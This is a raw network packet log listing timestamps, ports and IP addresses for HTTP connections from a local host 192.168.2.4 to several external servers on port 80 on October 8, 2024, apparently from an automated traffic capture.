Oct 8, 2024 16:34:32.772968054 CEST	80	49854	3.33.130.190	192.168.2.4
Oct 8, 2024 16:34:32.773056030 CEST	49854	80	192.168.2.4	3.33.130.190
Oct 8, 2024 16:34:32.780472994 CEST	49854	80	192.168.2.4	3.33.130.190
Oct 8, 2024 16:34:32.785564899 CEST	80	49854	3.33.130.190	192.168.2.4
Oct 8, 2024 16:34:38.403012037 CEST	49884	80	192.168.2.4	172.191.244.62
Oct 8, 2024 16:34:38.407989025 CEST	80	49884	172.191.244.62	192.168.2.4
Oct 8, 2024 16:34:38.408092976 CEST	49884	80	192.168.2.4	172.191.244.62
Oct 8, 2024 16:34:38.419114113 CEST	49884	80	192.168.2.4	172.191.244.62
Oct 8, 2024 16:34:38.424256086 CEST	80	49884	172.191.244.62	192.168.2.4
Oct 8, 2024 16:34:38.867480040 CEST	80	49884	172.191.244.62	192.168.2.4
Oct 8, 2024 16:34:38.867502928 CEST	80	49884	172.191.244.62	192.168.2.4
Oct 8, 2024 16:34:38.867603064 CEST	49884	80	192.168.2.4	172.191.244.62
Oct 8, 2024 16:34:39.938807011 CEST	49884	80	192.168.2.4	172.191.244.62
Oct 8, 2024 16:34:40.946279049 CEST	49898	80	192.168.2.4	172.191.244.62
Oct 8, 2024 16:34:40.951642036 CEST	80	49898	172.191.244.62	192.168.2.4
Oct 8, 2024 16:34:40.951719046 CEST	49898	80	192.168.2.4	172.191.244.62
Oct 8, 2024 16:34:40.963867903 CEST	49898	80	192.168.2.4	172.191.244.62
Oct 8, 2024 16:34:40.969177008 CEST	80	49898	172.191.244.62	192.168.2.4
Oct 8, 2024 16:34:41.457806110 CEST	80	49898	172.191.244.62	192.168.2.4
Oct 8, 2024 16:34:41.457828999 CEST	80	49898	172.191.244.62	192.168.2.4
Oct 8, 2024 16:34:41.458048105 CEST	49898	80	192.168.2.4	172.191.244.62
Oct 8, 2024 16:34:42.487567902 CEST	49898	80	192.168.2.4	172.191.244.62
Oct 8, 2024 16:34:43.493277073 CEST	49915	80	192.168.2.4	172.191.244.62
Oct 8, 2024 16:34:43.696053028 CEST	80	49915	172.191.244.62	192.168.2.4
Oct 8, 2024 16:34:43.696171999 CEST	49915	80	192.168.2.4	172.191.244.62
Oct 8, 2024 16:34:43.707895994 CEST	49915	80	192.168.2.4	172.191.244.62
Oct 8, 2024 16:34:43.713068008 CEST	80	49915	172.191.244.62	192.168.2.4
Oct 8, 2024 16:34:43.713099003 CEST	80	49915	172.191.244.62	192.168.2.4
Oct 8, 2024 16:34:43.713218927 CEST	80	49915	172.191.244.62	192.168.2.4
Oct 8, 2024 16:34:43.713246107 CEST	80	49915	172.191.244.62	192.168.2.4
Oct 8, 2024 16:34:43.713272095 CEST	80	49915	172.191.244.62	192.168.2.4
Oct 8, 2024 16:34:43.713298082 CEST	80	49915	172.191.244.62	192.168.2.4
Oct 8, 2024 16:34:43.713344097 CEST	80	49915	172.191.244.62	192.168.2.4
Oct 8, 2024 16:34:43.713371038 CEST	80	49915	172.191.244.62	192.168.2.4
Oct 8, 2024 16:34:43.713402987 CEST	80	49915	172.191.244.62	192.168.2.4
Oct 8, 2024 16:34:44.171924114 CEST	80	49915	172.191.244.62	192.168.2.4
Oct 8, 2024 16:34:44.171955109 CEST	80	49915	172.191.244.62	192.168.2.4
Oct 8, 2024 16:34:44.172027111 CEST	49915	80	192.168.2.4	172.191.244.62
Oct 8, 2024 16:34:45.224143982 CEST	49915	80	192.168.2.4	172.191.244.62
Oct 8, 2024 16:34:46.243208885 CEST	49929	80	192.168.2.4	172.191.244.62
Oct 8, 2024 16:34:46.248229027 CEST	80	49929	172.191.244.62	192.168.2.4
Oct 8, 2024 16:34:46.248337984 CEST	49929	80	192.168.2.4	172.191.244.62
Oct 8, 2024 16:34:46.256012917 CEST	49929	80	192.168.2.4	172.191.244.62
Oct 8, 2024 16:34:46.260890961 CEST	80	49929	172.191.244.62	192.168.2.4
Oct 8, 2024 16:34:46.735551119 CEST	80	49929	172.191.244.62	192.168.2.4
Oct 8, 2024 16:34:46.735637903 CEST	80	49929	172.191.244.62	192.168.2.4
Oct 8, 2024 16:34:46.735728979 CEST	49929	80	192.168.2.4	172.191.244.62
Oct 8, 2024 16:34:46.738580942 CEST	49929	80	192.168.2.4	172.191.244.62
Oct 8, 2024 16:34:46.744456053 CEST	80	49929	172.191.244.62	192.168.2.4
Oct 8, 2024 16:34:51.902340889 CEST	49965	80	192.168.2.4	172.96.191.39
Oct 8, 2024 16:34:51.907360077 CEST	80	49965	172.96.191.39	192.168.2.4
Oct 8, 2024 16:34:51.907814026 CEST	49965	80	192.168.2.4	172.96.191.39
Oct 8, 2024 16:34:51.919229031 CEST	49965	80	192.168.2.4	172.96.191.39
Oct 8, 2024 16:34:51.925033092 CEST	80	49965	172.96.191.39	192.168.2.4
Oct 8, 2024 16:34:53.051943064 CEST	80	49965	172.96.191.39	192.168.2.4
Oct 8, 2024 16:34:53.052614927 CEST	80	49965	172.96.191.39	192.168.2.4
Oct 8, 2024 16:34:53.052628994 CEST	80	49965	172.96.191.39	192.168.2.4
Oct 8, 2024 16:34:53.052675962 CEST	49965	80	192.168.2.4	172.96.191.39
Oct 8, 2024 16:34:53.052757025 CEST	49965	80	192.168.2.4	172.96.191.39
Oct 8, 2024 16:34:53.427376986 CEST	49965	80	192.168.2.4	172.96.191.39
Oct 8, 2024 16:34:54.453739882 CEST	49979	80	192.168.2.4	172.96.191.39
Oct 8, 2024 16:34:54.459564924 CEST	80	49979	172.96.191.39	192.168.2.4
Oct 8, 2024 16:34:54.461858034 CEST	49979	80	192.168.2.4	172.96.191.39
Oct 8, 2024 16:34:54.475677967 CEST	49979	80	192.168.2.4	172.96.191.39
Oct 8, 2024 16:34:54.480849028 CEST	80	49979	172.96.191.39	192.168.2.4
Oct 8, 2024 16:34:55.389796972 CEST	80	49979	172.96.191.39	192.168.2.4
Oct 8, 2024 16:34:55.405531883 CEST	80	49979	172.96.191.39	192.168.2.4
Oct 8, 2024 16:34:55.405586004 CEST	49979	80	192.168.2.4	172.96.191.39
Oct 8, 2024 16:34:55.991724014 CEST	49979	80	192.168.2.4	172.96.191.39
Oct 8, 2024 16:34:57.012412071 CEST	49990	80	192.168.2.4	172.96.191.39
Oct 8, 2024 16:34:57.017330885 CEST	80	49990	172.96.191.39	192.168.2.4
Oct 8, 2024 16:34:57.017407894 CEST	49990	80	192.168.2.4	172.96.191.39
Oct 8, 2024 16:34:57.036194086 CEST	49990	80	192.168.2.4	172.96.191.39
Oct 8, 2024 16:34:57.041307926 CEST	80	49990	172.96.191.39	192.168.2.4
Oct 8, 2024 16:34:57.041384935 CEST	80	49990	172.96.191.39	192.168.2.4
Oct 8, 2024 16:34:57.041822910 CEST	80	49990	172.96.191.39	192.168.2.4
Oct 8, 2024 16:34:57.041956902 CEST	80	49990	172.96.191.39	192.168.2.4
Oct 8, 2024 16:34:57.042023897 CEST	80	49990	172.96.191.39	192.168.2.4
Oct 8, 2024 16:34:57.042032957 CEST	80	49990	172.96.191.39	192.168.2.4
Oct 8, 2024 16:34:57.042329073 CEST	80	49990	172.96.191.39	192.168.2.4
Oct 8, 2024 16:34:57.042382956 CEST	80	49990	172.96.191.39	192.168.2.4
Oct 8, 2024 16:34:57.042392015 CEST	80	49990	172.96.191.39	192.168.2.4
Oct 8, 2024 16:34:58.160095930 CEST	80	49990	172.96.191.39	192.168.2.4
Oct 8, 2024 16:34:58.160150051 CEST	80	49990	172.96.191.39	192.168.2.4
Oct 8, 2024 16:34:58.160178900 CEST	80	49990	172.96.191.39	192.168.2.4
Oct 8, 2024 16:34:58.160207987 CEST	49990	80	192.168.2.4	172.96.191.39
Oct 8, 2024 16:34:58.160290956 CEST	49990	80	192.168.2.4	172.96.191.39
Oct 8, 2024 16:34:58.552459002 CEST	49990	80	192.168.2.4	172.96.191.39
Oct 8, 2024 16:34:59.596548080 CEST	50009	80	192.168.2.4	172.96.191.39
Oct 8, 2024 16:34:59.602224112 CEST	80	50009	172.96.191.39	192.168.2.4
Oct 8, 2024 16:34:59.602299929 CEST	50009	80	192.168.2.4	172.96.191.39
Oct 8, 2024 16:34:59.613439083 CEST	50009	80	192.168.2.4	172.96.191.39
Oct 8, 2024 16:34:59.618714094 CEST	80	50009	172.96.191.39	192.168.2.4
Oct 8, 2024 16:35:00.539025068 CEST	80	50009	172.96.191.39	192.168.2.4
Oct 8, 2024 16:35:00.539438963 CEST	80	50009	172.96.191.39	192.168.2.4
Oct 8, 2024 16:35:00.539585114 CEST	50009	80	192.168.2.4	172.96.191.39
Oct 8, 2024 16:35:00.543736935 CEST	50009	80	192.168.2.4	172.96.191.39
Oct 8, 2024 16:35:00.548687935 CEST	80	50009	172.96.191.39	192.168.2.4
Oct 8, 2024 16:35:05.723603010 CEST	50017	80	192.168.2.4	217.70.184.50
Oct 8, 2024 16:35:05.728717089 CEST	80	50017	217.70.184.50	192.168.2.4
Oct 8, 2024 16:35:05.728786945 CEST	50017	80	192.168.2.4	217.70.184.50
Oct 8, 2024 16:35:05.742425919 CEST	50017	80	192.168.2.4	217.70.184.50
Oct 8, 2024 16:35:05.747684002 CEST	80	50017	217.70.184.50	192.168.2.4
Oct 8, 2024 16:35:06.383351088 CEST	80	50017	217.70.184.50	192.168.2.4
Oct 8, 2024 16:35:06.383539915 CEST	80	50017	217.70.184.50	192.168.2.4
Oct 8, 2024 16:35:06.383955956 CEST	50017	80	192.168.2.4	217.70.184.50
Oct 8, 2024 16:35:07.255481958 CEST	50017	80	192.168.2.4	217.70.184.50
Oct 8, 2024 16:35:08.275099039 CEST	50018	80	192.168.2.4	217.70.184.50
Oct 8, 2024 16:35:08.789329052 CEST	80	50018	217.70.184.50	192.168.2.4
Oct 8, 2024 16:35:08.791902065 CEST	50018	80	192.168.2.4	217.70.184.50
Oct 8, 2024 16:35:08.803767920 CEST	50018	80	192.168.2.4	217.70.184.50
Oct 8, 2024 16:35:08.808928967 CEST	80	50018	217.70.184.50	192.168.2.4
Oct 8, 2024 16:35:09.392776966 CEST	80	50018	217.70.184.50	192.168.2.4
Oct 8, 2024 16:35:09.393191099 CEST	80	50018	217.70.184.50	192.168.2.4
Oct 8, 2024 16:35:09.393251896 CEST	50018	80	192.168.2.4	217.70.184.50
Oct 8, 2024 16:35:10.319777012 CEST	50018	80	192.168.2.4	217.70.184.50
Oct 8, 2024 16:35:11.338428020 CEST	50019	80	192.168.2.4	217.70.184.50
Oct 8, 2024 16:35:11.488181114 CEST	80	50019	217.70.184.50	192.168.2.4
Oct 8, 2024 16:35:11.488271952 CEST	50019	80	192.168.2.4	217.70.184.50
Oct 8, 2024 16:35:11.502243042 CEST	50019	80	192.168.2.4	217.70.184.50
Oct 8, 2024 16:35:11.507563114 CEST	80	50019	217.70.184.50	192.168.2.4
Oct 8, 2024 16:35:11.507579088 CEST	80	50019	217.70.184.50	192.168.2.4
Oct 8, 2024 16:35:11.507590055 CEST	80	50019	217.70.184.50	192.168.2.4
Oct 8, 2024 16:35:11.507600069 CEST	80	50019	217.70.184.50	192.168.2.4
Oct 8, 2024 16:35:11.507608891 CEST	80	50019	217.70.184.50	192.168.2.4
Oct 8, 2024 16:35:11.507616997 CEST	80	50019	217.70.184.50	192.168.2.4
Oct 8, 2024 16:35:11.507626057 CEST	80	50019	217.70.184.50	192.168.2.4
Oct 8, 2024 16:35:11.507635117 CEST	80	50019	217.70.184.50	192.168.2.4
Oct 8, 2024 16:35:11.507643938 CEST	80	50019	217.70.184.50	192.168.2.4
Oct 8, 2024 16:35:13.005497932 CEST	50019	80	192.168.2.4	217.70.184.50
Oct 8, 2024 16:35:13.135819912 CEST	80	50019	217.70.184.50	192.168.2.4
Oct 8, 2024 16:35:13.135881901 CEST	50019	80	192.168.2.4	217.70.184.50
Oct 8, 2024 16:35:13.135895014 CEST	80	50019	217.70.184.50	192.168.2.4
Oct 8, 2024 16:35:13.135906935 CEST	80	50019	217.70.184.50	192.168.2.4
Oct 8, 2024 16:35:13.135936975 CEST	50019	80	192.168.2.4	217.70.184.50
Oct 8, 2024 16:35:13.135966063 CEST	50019	80	192.168.2.4	217.70.184.50
Oct 8, 2024 16:35:13.136502981 CEST	80	50019	217.70.184.50	192.168.2.4
Oct 8, 2024 16:35:13.136543989 CEST	50019	80	192.168.2.4	217.70.184.50
Oct 8, 2024 16:35:13.137814045 CEST	80	50019	217.70.184.50	192.168.2.4
Oct 8, 2024 16:35:13.137856007 CEST	50019	80	192.168.2.4	217.70.184.50
Oct 8, 2024 16:35:13.138717890 CEST	80	50019	217.70.184.50	192.168.2.4
Oct 8, 2024 16:35:13.138773918 CEST	50019	80	192.168.2.4	217.70.184.50
Oct 8, 2024 16:35:14.028748035 CEST	50020	80	192.168.2.4	217.70.184.50
Oct 8, 2024 16:35:14.033871889 CEST	80	50020	217.70.184.50	192.168.2.4
Oct 8, 2024 16:35:14.034051895 CEST	50020	80	192.168.2.4	217.70.184.50
Oct 8, 2024 16:35:14.043005943 CEST	50020	80	192.168.2.4	217.70.184.50
Oct 8, 2024 16:35:14.050405025 CEST	80	50020	217.70.184.50	192.168.2.4
Oct 8, 2024 16:35:14.672527075 CEST	80	50020	217.70.184.50	192.168.2.4
Oct 8, 2024 16:35:14.672616005 CEST	80	50020	217.70.184.50	192.168.2.4
Oct 8, 2024 16:35:14.672698975 CEST	80	50020	217.70.184.50	192.168.2.4
Oct 8, 2024 16:35:14.675772905 CEST	50020	80	192.168.2.4	217.70.184.50
Oct 8, 2024 16:35:14.675772905 CEST	50020	80	192.168.2.4	217.70.184.50
Oct 8, 2024 16:35:14.680685997 CEST	80	50020	217.70.184.50	192.168.2.4
Oct 8, 2024 16:35:21.046747923 CEST	50021	80	192.168.2.4	63.250.47.40
Oct 8, 2024 16:35:21.052447081 CEST	80	50021	63.250.47.40	192.168.2.4
Oct 8, 2024 16:35:21.052520990 CEST	50021	80	192.168.2.4	63.250.47.40
Oct 8, 2024 16:35:21.067187071 CEST	50021	80	192.168.2.4	63.250.47.40
Oct 8, 2024 16:35:21.072046995 CEST	80	50021	63.250.47.40	192.168.2.4
Oct 8, 2024 16:35:21.787060976 CEST	80	50021	63.250.47.40	192.168.2.4
Oct 8, 2024 16:35:21.787108898 CEST	80	50021	63.250.47.40	192.168.2.4
Oct 8, 2024 16:35:21.787157059 CEST	50021	80	192.168.2.4	63.250.47.40
Oct 8, 2024 16:35:22.583673000 CEST	50021	80	192.168.2.4	63.250.47.40
Oct 8, 2024 16:35:23.603425980 CEST	50022	80	192.168.2.4	63.250.47.40
Oct 8, 2024 16:35:23.608508110 CEST	80	50022	63.250.47.40	192.168.2.4
Oct 8, 2024 16:35:23.610059977 CEST	50022	80	192.168.2.4	63.250.47.40
Oct 8, 2024 16:35:23.621690035 CEST	50022	80	192.168.2.4	63.250.47.40
Oct 8, 2024 16:35:23.626600027 CEST	80	50022	63.250.47.40	192.168.2.4
Oct 8, 2024 16:35:24.220685005 CEST	80	50022	63.250.47.40	192.168.2.4
Oct 8, 2024 16:35:24.221061945 CEST	80	50022	63.250.47.40	192.168.2.4
Oct 8, 2024 16:35:24.221471071 CEST	50022	80	192.168.2.4	63.250.47.40
Oct 8, 2024 16:35:25.130553961 CEST	50022	80	192.168.2.4	63.250.47.40
Oct 8, 2024 16:35:26.151499033 CEST	50023	80	192.168.2.4	63.250.47.40
Oct 8, 2024 16:35:26.241962910 CEST	80	50023	63.250.47.40	192.168.2.4
Oct 8, 2024 16:35:26.242151022 CEST	50023	80	192.168.2.4	63.250.47.40
Oct 8, 2024 16:35:26.255626917 CEST	50023	80	192.168.2.4	63.250.47.40
Oct 8, 2024 16:35:26.260742903 CEST	80	50023	63.250.47.40	192.168.2.4
Oct 8, 2024 16:35:26.260868073 CEST	80	50023	63.250.47.40	192.168.2.4
Oct 8, 2024 16:35:26.260919094 CEST	80	50023	63.250.47.40	192.168.2.4
Oct 8, 2024 16:35:26.260946989 CEST	80	50023	63.250.47.40	192.168.2.4
Oct 8, 2024 16:35:26.260973930 CEST	80	50023	63.250.47.40	192.168.2.4
Oct 8, 2024 16:35:26.260999918 CEST	80	50023	63.250.47.40	192.168.2.4
Oct 8, 2024 16:35:26.261027098 CEST	80	50023	63.250.47.40	192.168.2.4
Oct 8, 2024 16:35:26.261059999 CEST	80	50023	63.250.47.40	192.168.2.4
Oct 8, 2024 16:35:26.263627052 CEST	80	50023	63.250.47.40	192.168.2.4
Oct 8, 2024 16:35:26.921124935 CEST	80	50023	63.250.47.40	192.168.2.4
Oct 8, 2024 16:35:26.921251059 CEST	80	50023	63.250.47.40	192.168.2.4
Oct 8, 2024 16:35:26.921303988 CEST	50023	80	192.168.2.4	63.250.47.40
Oct 8, 2024 16:35:27.771373034 CEST	50023	80	192.168.2.4	63.250.47.40
Oct 8, 2024 16:35:28.795824051 CEST	50024	80	192.168.2.4	63.250.47.40
Oct 8, 2024 16:35:28.802409887 CEST	80	50024	63.250.47.40	192.168.2.4
Oct 8, 2024 16:35:28.808836937 CEST	50024	80	192.168.2.4	63.250.47.40
Oct 8, 2024 16:35:28.818638086 CEST	50024	80	192.168.2.4	63.250.47.40
Oct 8, 2024 16:35:28.824367046 CEST	80	50024	63.250.47.40	192.168.2.4
Oct 8, 2024 16:35:29.400230885 CEST	80	50024	63.250.47.40	192.168.2.4
Oct 8, 2024 16:35:29.400391102 CEST	80	50024	63.250.47.40	192.168.2.4
Oct 8, 2024 16:35:29.400430918 CEST	50024	80	192.168.2.4	63.250.47.40
Oct 8, 2024 16:35:29.403633118 CEST	50024	80	192.168.2.4	63.250.47.40
Oct 8, 2024 16:35:29.408571959 CEST	80	50024	63.250.47.40	192.168.2.4
Oct 8, 2024 16:35:34.435528040 CEST	50025	80	192.168.2.4	91.184.0.200
Oct 8, 2024 16:35:34.440704107 CEST	80	50025	91.184.0.200	192.168.2.4
Oct 8, 2024 16:35:34.440957069 CEST	50025	80	192.168.2.4	91.184.0.200
Oct 8, 2024 16:35:34.452384949 CEST	50025	80	192.168.2.4	91.184.0.200
Oct 8, 2024 16:35:34.457371950 CEST	80	50025	91.184.0.200	192.168.2.4
Oct 8, 2024 16:35:35.132344961 CEST	80	50025	91.184.0.200	192.168.2.4
Oct 8, 2024 16:35:35.132374048 CEST	80	50025	91.184.0.200	192.168.2.4
Oct 8, 2024 16:35:35.132417917 CEST	50025	80	192.168.2.4	91.184.0.200
Oct 8, 2024 16:35:35.958698988 CEST	50025	80	192.168.2.4	91.184.0.200
Oct 8, 2024 16:35:36.978768110 CEST	50026	80	192.168.2.4	91.184.0.200
Oct 8, 2024 16:35:36.983808994 CEST	80	50026	91.184.0.200	192.168.2.4
Oct 8, 2024 16:35:36.983875990 CEST	50026	80	192.168.2.4	91.184.0.200
Oct 8, 2024 16:35:36.998725891 CEST	50026	80	192.168.2.4	91.184.0.200
Oct 8, 2024 16:35:37.003684044 CEST	80	50026	91.184.0.200	192.168.2.4
Oct 8, 2024 16:35:37.637835026 CEST	80	50026	91.184.0.200	192.168.2.4
Oct 8, 2024 16:35:37.637964964 CEST	80	50026	91.184.0.200	192.168.2.4
Oct 8, 2024 16:35:37.638029099 CEST	50026	80	192.168.2.4	91.184.0.200
Oct 8, 2024 16:35:38.505673885 CEST	50026	80	192.168.2.4	91.184.0.200
Oct 8, 2024 16:35:39.526238918 CEST	50027	80	192.168.2.4	91.184.0.200
Oct 8, 2024 16:35:39.738636971 CEST	80	50027	91.184.0.200	192.168.2.4
Oct 8, 2024 16:35:39.738728046 CEST	50027	80	192.168.2.4	91.184.0.200
Oct 8, 2024 16:35:39.753546953 CEST	50027	80	192.168.2.4	91.184.0.200
Oct 8, 2024 16:35:39.758513927 CEST	80	50027	91.184.0.200	192.168.2.4
Oct 8, 2024 16:35:39.758548975 CEST	80	50027	91.184.0.200	192.168.2.4
Oct 8, 2024 16:35:39.758589983 CEST	80	50027	91.184.0.200	192.168.2.4
Oct 8, 2024 16:35:39.758599043 CEST	80	50027	91.184.0.200	192.168.2.4
Oct 8, 2024 16:35:39.758706093 CEST	80	50027	91.184.0.200	192.168.2.4
Oct 8, 2024 16:35:39.758716106 CEST	80	50027	91.184.0.200	192.168.2.4
Oct 8, 2024 16:35:39.758797884 CEST	80	50027	91.184.0.200	192.168.2.4
Oct 8, 2024 16:35:39.758807898 CEST	80	50027	91.184.0.200	192.168.2.4
Oct 8, 2024 16:35:39.758811951 CEST	80	50027	91.184.0.200	192.168.2.4
Oct 8, 2024 16:35:40.493004084 CEST	80	50027	91.184.0.200	192.168.2.4
Oct 8, 2024 16:35:40.493032932 CEST	80	50027	91.184.0.200	192.168.2.4
Oct 8, 2024 16:35:40.497998953 CEST	50027	80	192.168.2.4	91.184.0.200
Oct 8, 2024 16:35:41.258599997 CEST	50027	80	192.168.2.4	91.184.0.200
Oct 8, 2024 16:35:42.274813890 CEST	50028	80	192.168.2.4	91.184.0.200
Oct 8, 2024 16:35:42.279771090 CEST	80	50028	91.184.0.200	192.168.2.4
Oct 8, 2024 16:35:42.279973030 CEST	50028	80	192.168.2.4	91.184.0.200
Oct 8, 2024 16:35:42.287867069 CEST	50028	80	192.168.2.4	91.184.0.200
Oct 8, 2024 16:35:42.293370962 CEST	80	50028	91.184.0.200	192.168.2.4
Oct 8, 2024 16:35:42.902800083 CEST	80	50028	91.184.0.200	192.168.2.4
Oct 8, 2024 16:35:42.903681040 CEST	80	50028	91.184.0.200	192.168.2.4
Oct 8, 2024 16:35:42.903754950 CEST	50028	80	192.168.2.4	91.184.0.200
Oct 8, 2024 16:35:42.906014919 CEST	50028	80	192.168.2.4	91.184.0.200
Oct 8, 2024 16:35:42.911441088 CEST	80	50028	91.184.0.200	192.168.2.4
Oct 8, 2024 16:35:47.930179119 CEST	50029	80	192.168.2.4	13.248.169.48
Oct 8, 2024 16:35:47.934983015 CEST	80	50029	13.248.169.48	192.168.2.4
Oct 8, 2024 16:35:47.935965061 CEST	50029	80	192.168.2.4	13.248.169.48
Oct 8, 2024 16:35:47.947877884 CEST	50029	80	192.168.2.4	13.248.169.48
Oct 8, 2024 16:35:47.953037024 CEST	80	50029	13.248.169.48	192.168.2.4
Oct 8, 2024 16:35:48.432420969 CEST	80	50029	13.248.169.48	192.168.2.4
Oct 8, 2024 16:35:48.432482004 CEST	50029	80	192.168.2.4	13.248.169.48
Oct 8, 2024 16:35:49.458779097 CEST	50029	80	192.168.2.4	13.248.169.48
Oct 8, 2024 16:35:49.463730097 CEST	80	50029	13.248.169.48	192.168.2.4
Oct 8, 2024 16:35:50.477797985 CEST	50030	80	192.168.2.4	13.248.169.48
Oct 8, 2024 16:35:50.482989073 CEST	80	50030	13.248.169.48	192.168.2.4
Oct 8, 2024 16:35:50.483133078 CEST	50030	80	192.168.2.4	13.248.169.48
Oct 8, 2024 16:35:50.494606972 CEST	50030	80	192.168.2.4	13.248.169.48
Oct 8, 2024 16:35:50.499946117 CEST	80	50030	13.248.169.48	192.168.2.4
Oct 8, 2024 16:35:50.957473040 CEST	80	50030	13.248.169.48	192.168.2.4
Oct 8, 2024 16:35:50.957525015 CEST	50030	80	192.168.2.4	13.248.169.48
Oct 8, 2024 16:35:52.005681992 CEST	50030	80	192.168.2.4	13.248.169.48
Oct 8, 2024 16:35:52.254498959 CEST	80	50030	13.248.169.48	192.168.2.4
Oct 8, 2024 16:35:53.024894953 CEST	50031	80	192.168.2.4	13.248.169.48
Oct 8, 2024 16:35:53.233117104 CEST	80	50031	13.248.169.48	192.168.2.4
Oct 8, 2024 16:35:53.233215094 CEST	50031	80	192.168.2.4	13.248.169.48
Oct 8, 2024 16:35:53.247423887 CEST	50031	80	192.168.2.4	13.248.169.48
Oct 8, 2024 16:35:53.252402067 CEST	80	50031	13.248.169.48	192.168.2.4
Oct 8, 2024 16:35:53.252412081 CEST	80	50031	13.248.169.48	192.168.2.4
Oct 8, 2024 16:35:53.252420902 CEST	80	50031	13.248.169.48	192.168.2.4
Oct 8, 2024 16:35:53.252433062 CEST	80	50031	13.248.169.48	192.168.2.4
Oct 8, 2024 16:35:53.252469063 CEST	80	50031	13.248.169.48	192.168.2.4
Oct 8, 2024 16:35:53.252477884 CEST	80	50031	13.248.169.48	192.168.2.4
Oct 8, 2024 16:35:53.252506018 CEST	80	50031	13.248.169.48	192.168.2.4
Oct 8, 2024 16:35:53.253309965 CEST	80	50031	13.248.169.48	192.168.2.4
Oct 8, 2024 16:35:53.253334999 CEST	80	50031	13.248.169.48	192.168.2.4
Oct 8, 2024 16:35:53.691585064 CEST	80	50031	13.248.169.48	192.168.2.4
Oct 8, 2024 16:35:53.691643953 CEST	50031	80	192.168.2.4	13.248.169.48
Oct 8, 2024 16:35:54.755703926 CEST	50031	80	192.168.2.4	13.248.169.48
Oct 8, 2024 16:35:54.760746002 CEST	80	50031	13.248.169.48	192.168.2.4
Oct 8, 2024 16:35:55.775307894 CEST	50032	80	192.168.2.4	13.248.169.48
Oct 8, 2024 16:35:55.780947924 CEST	80	50032	13.248.169.48	192.168.2.4
Oct 8, 2024 16:35:55.781034946 CEST	50032	80	192.168.2.4	13.248.169.48
Oct 8, 2024 16:35:55.789122105 CEST	50032	80	192.168.2.4	13.248.169.48
Oct 8, 2024 16:35:55.794038057 CEST	80	50032	13.248.169.48	192.168.2.4
Oct 8, 2024 16:35:56.288558960 CEST	80	50032	13.248.169.48	192.168.2.4
Oct 8, 2024 16:35:56.288618088 CEST	80	50032	13.248.169.48	192.168.2.4
Oct 8, 2024 16:35:56.288841963 CEST	50032	80	192.168.2.4	13.248.169.48
Oct 8, 2024 16:35:56.292220116 CEST	50032	80	192.168.2.4	13.248.169.48
Oct 8, 2024 16:35:56.297015905 CEST	80	50032	13.248.169.48	192.168.2.4
Oct 8, 2024 16:36:15.613529921 CEST	50037	80	192.168.2.4	43.242.202.169
Oct 8, 2024 16:36:15.618882895 CEST	80	50037	43.242.202.169	192.168.2.4
Oct 8, 2024 16:36:15.618952036 CEST	50037	80	192.168.2.4	43.242.202.169
Oct 8, 2024 16:36:15.630598068 CEST	50037	80	192.168.2.4	43.242.202.169
Oct 8, 2024 16:36:15.635508060 CEST	80	50037	43.242.202.169	192.168.2.4
Oct 8, 2024 16:36:16.502734900 CEST	80	50037	43.242.202.169	192.168.2.4
Oct 8, 2024 16:36:16.503206015 CEST	80	50037	43.242.202.169	192.168.2.4
Oct 8, 2024 16:36:16.506159067 CEST	50037	80	192.168.2.4	43.242.202.169
Oct 8, 2024 16:36:17.146498919 CEST	50037	80	192.168.2.4	43.242.202.169
Oct 8, 2024 16:36:18.167521000 CEST	50038	80	192.168.2.4	43.242.202.169
Oct 8, 2024 16:36:18.172797918 CEST	80	50038	43.242.202.169	192.168.2.4
Oct 8, 2024 16:36:18.172966957 CEST	50038	80	192.168.2.4	43.242.202.169
Oct 8, 2024 16:36:18.184499025 CEST	50038	80	192.168.2.4	43.242.202.169
Oct 8, 2024 16:36:18.189511061 CEST	80	50038	43.242.202.169	192.168.2.4
Oct 8, 2024 16:36:19.053726912 CEST	80	50038	43.242.202.169	192.168.2.4
Oct 8, 2024 16:36:19.055104017 CEST	80	50038	43.242.202.169	192.168.2.4
Oct 8, 2024 16:36:19.055162907 CEST	50038	80	192.168.2.4	43.242.202.169
Oct 8, 2024 16:36:19.098870993 CEST	80	50038	43.242.202.169	192.168.2.4
Oct 8, 2024 16:36:19.098938942 CEST	50038	80	192.168.2.4	43.242.202.169
Oct 8, 2024 16:36:19.693242073 CEST	50038	80	192.168.2.4	43.242.202.169
Oct 8, 2024 16:36:20.712112904 CEST	50039	80	192.168.2.4	43.242.202.169
Oct 8, 2024 16:36:20.718108892 CEST	80	50039	43.242.202.169	192.168.2.4
Oct 8, 2024 16:36:20.718442917 CEST	50039	80	192.168.2.4	43.242.202.169
Oct 8, 2024 16:36:20.728841066 CEST	50039	80	192.168.2.4	43.242.202.169
Oct 8, 2024 16:36:20.733738899 CEST	80	50039	43.242.202.169	192.168.2.4
Oct 8, 2024 16:36:20.733751059 CEST	80	50039	43.242.202.169	192.168.2.4
Oct 8, 2024 16:36:20.733762026 CEST	80	50039	43.242.202.169	192.168.2.4
Oct 8, 2024 16:36:20.733834028 CEST	80	50039	43.242.202.169	192.168.2.4
Oct 8, 2024 16:36:20.733843088 CEST	80	50039	43.242.202.169	192.168.2.4
Oct 8, 2024 16:36:20.733851910 CEST	80	50039	43.242.202.169	192.168.2.4
Oct 8, 2024 16:36:20.733865023 CEST	80	50039	43.242.202.169	192.168.2.4
Oct 8, 2024 16:36:20.733927011 CEST	80	50039	43.242.202.169	192.168.2.4
Oct 8, 2024 16:36:20.734517097 CEST	80	50039	43.242.202.169	192.168.2.4
Oct 8, 2024 16:36:21.606004000 CEST	80	50039	43.242.202.169	192.168.2.4
Oct 8, 2024 16:36:21.606134892 CEST	80	50039	43.242.202.169	192.168.2.4
Oct 8, 2024 16:36:21.606189966 CEST	50039	80	192.168.2.4	43.242.202.169
Oct 8, 2024 16:36:22.240268946 CEST	50039	80	192.168.2.4	43.242.202.169
Oct 8, 2024 16:36:23.269835949 CEST	50040	80	192.168.2.4	43.242.202.169
Oct 8, 2024 16:36:23.274727106 CEST	80	50040	43.242.202.169	192.168.2.4
Oct 8, 2024 16:36:23.274791956 CEST	50040	80	192.168.2.4	43.242.202.169
Oct 8, 2024 16:36:23.290067911 CEST	50040	80	192.168.2.4	43.242.202.169
Oct 8, 2024 16:36:23.295042992 CEST	80	50040	43.242.202.169	192.168.2.4
Oct 8, 2024 16:36:24.174876928 CEST	80	50040	43.242.202.169	192.168.2.4
Oct 8, 2024 16:36:24.175364971 CEST	80	50040	43.242.202.169	192.168.2.4
Oct 8, 2024 16:36:24.175518036 CEST	50040	80	192.168.2.4	43.242.202.169
